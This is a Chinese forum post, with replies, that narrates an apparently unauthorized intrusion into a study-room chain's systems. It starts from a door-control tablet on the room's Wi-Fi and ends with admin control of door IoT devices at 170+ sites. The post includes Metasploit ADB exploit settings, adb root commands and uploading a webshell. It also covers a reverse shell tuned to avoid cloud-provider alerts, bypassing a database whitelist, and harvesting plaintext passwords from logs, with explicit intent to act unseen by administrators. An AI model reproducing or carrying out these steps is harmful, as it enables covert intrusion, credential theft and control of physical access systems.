对某自习室系统的一次渗透测试(从iot到getshell再到控制全国自习室)

前段时间找了个自习室学习,因为自习室网络不太好就无聊扫了一下网段,发现了一台Ampak Technology机器
以为是笔记本电脑(自习室一般都是用手机比较多),就扫了一下详细信息:

发现开了5555,之前对这个端口没了解过,就百度了一下发现是adb服务,刚好看到一篇文章(https://www.cnblogs.com/guaishoujingling/p/11101649.html)是打靶机,不过看到说是2016年的洞了,也没想能利用成功,就msf用了一下:

search adb
use exploit/android/adb/adb_server_exec

设置目标ip:
set RHOSTS 192.168.2.34
设置自己的ip:
set LHOST 192.168.2.136
我直接贴run的截图了:

这里利用成功后是不返回shell的,要利用adb连接,安装adb:
brew cask install android-platform-tools

安装成功后连接目标:
adb connect 192.168.2.34:5555
adb devices查看一下连接状态是成功连接了:

adb shell直接远程命令执行发现不是root权限,su成功拿到root权限:


截个图看看:
adb shell screencap -p /sdcard/screen.png

通过adb漏洞实际已经可以利用root来操控门禁系统了(比如kill掉服务,清除锁屏密码等),但是这些操作会被自习室管理员知道,我想要通过远程在管理员不知道的情况下来操控门禁系统还是不行的
继续利用,通过收集平板上面的信息知道了用户id是xxxxxx,还知道了平板是xx科技的,然后谷歌和扫描找到了xx科技的用户管理登录界面和api文档,知道了要实现操控门禁系统需要用户apiid和apikey还要acsurl,这些信息都是登录后要找的,通过爆破无果,找xx科技的客服要了测试账号和密码看了看后台也没有什么能利用的洞
只能返回到平板,既然是通过网络对接平板,平板上肯定有用户信息,通过抓取网络数据包和查看安装app包发现com.xxx.aidoor是xx科技对接门禁的app,于是find了一下com.xxx.aidoor,找到了com.xxx.aidoor的数据库,在数据库中并没有找到api对接所需要的信息,但是找到了一个web网址:

通过这个地址继续收集信息知道自习室系统的的管理登录界面和用户登录界面,扫了一下端口和信息,发现是阿里云的服务器,宝塔面板


这里21,22的利用肯定是放到后面没办法了再回来搞,看了看svn也没什么可以搞的,几个页面也没什么信息,宝塔和think6.0.2,搜了下相关漏洞也没什么能搞的,只能靠自己了,在自习室系统的登录界面(上面说的xx科技登录是iot设备的登录界面)发现了可以找客户要试用账号,于是加上客服微信要到了试用账号:

拿到后台试用账号后就看有没有什么能利用的漏洞,因为后台的所有上传都是用的腾讯云储存(其实有一处上传点的),所以找别的能利用的漏洞,找到了xss和越权,但是比较鸡肋,利用困难,不是重点这里就不贴了,一直找啊找找啊找终于找到一处上传点不是传到腾讯云储存的,因为后台和美团还有商户微信对接,所以要上传证书文件,可以直接改后缀上传,传了一个phpinfo看了一下

宝塔禁用的函数实在是太多了,加上阿里云会报警,这里小技巧:
传个过宝塔函数的免杀马+python反弹shell可以避免阿里云报警成功无痕迹getshell


有了交互shell接下来的事情就好办多了,find一下config找到了mysql信息:

这里发现用的是阿里云的rds数据库,站库分离,我本地连接不上,推测是做了白名单限制,有了交互式shell白名单限制形同虚设好嘛~wget一份phpmyadmin过去,成功绕过:

不过数据都是进行加密的,连着查了几条都解不开,推测是自写加密。这能难倒我?渗透测试的本质就是信息收集好吧,通过对服务器文件进行信息收集发现在xxx文件夹下存放着用户登录的log,通过log可以直接查看用户登录的明文密码:

成功拿到总管理账号,这套自习室系统的用户还是不少的,全国170多家:

这个自习室管理系统是和我一开始adb漏洞利用的那个门禁平板的公司合作的,因为后台对接了门禁系统,所以可以直接在后台通过对自习室管理看到门禁系统的账号密码,进而可以远程控制全国170多家自习室的iot设备

14 个赞

请问师傅,过宝塔函数的免杀马+python反弹shell可以避免阿里云报警成功无痕迹getshell,这个可以分享一下吗?

1 个赞

最关键的还是 ~过宝塔函数的免杀马+python反弹shell可以避免阿里云报警成功无痕迹getshell~ :joy:

涨见识了5555端口freeciv, msf用payload直接怼,其实在内网还可以继续扩大,获取更多权限。

有了交互式shell白名单限制形同虚设好嘛~wget一份phpmyadmin过去,成功绕过。
没看懂这里~~

2 个赞